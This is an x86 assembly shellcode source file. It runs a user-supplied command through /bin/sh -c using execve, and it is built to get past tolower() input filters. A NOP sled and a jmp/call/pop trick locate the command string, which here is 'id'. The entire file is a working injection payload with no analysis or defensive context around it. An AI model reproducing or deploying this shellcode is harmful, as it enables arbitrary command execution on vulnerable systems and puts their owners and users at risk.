# tolower() execve() /bin/sh -c (user supplied command)
# shellcode to evade tolower() and friends, requires %esi
# to reference a valid writeable address (usually does)
.text
.global _start
_start:
jmp data
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
start:
popl %edi
movl %edi, %ecx
xorl %eax,%eax
movl %eax,%es:(%esi)
pushl %es:(%esi)
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
movl %eax,%es:(%esi)
pushl %es:(%esi)
pushw $0x632d
movl %esp,%edi
movl %eax,%es:(%esi)
pushl %es:(%esi)
movl %ecx,%eax
movl %eax,%es:(%esi)
pushl %es:(%esi)
movl %edi,%eax
movl %eax,%es:(%esi)
pushl %es:(%esi)
movl %ebx,%eax
movl %eax,%es:(%esi)
pushl %es:(%esi)
movl %esp,%esi
movl %esi,%ecx
xorl %eax, %eax
movb $0x08, %al
addb $0x03, %al
int $0x80
data:
call start
#command
.ascii "id"
